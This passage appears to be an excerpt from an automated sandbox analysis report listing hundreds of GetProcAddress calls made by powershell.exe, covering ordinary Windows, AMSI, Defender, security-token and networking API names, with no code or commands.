"GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00003340) "powershell.exe" called "GetProcAddress" with a parameter 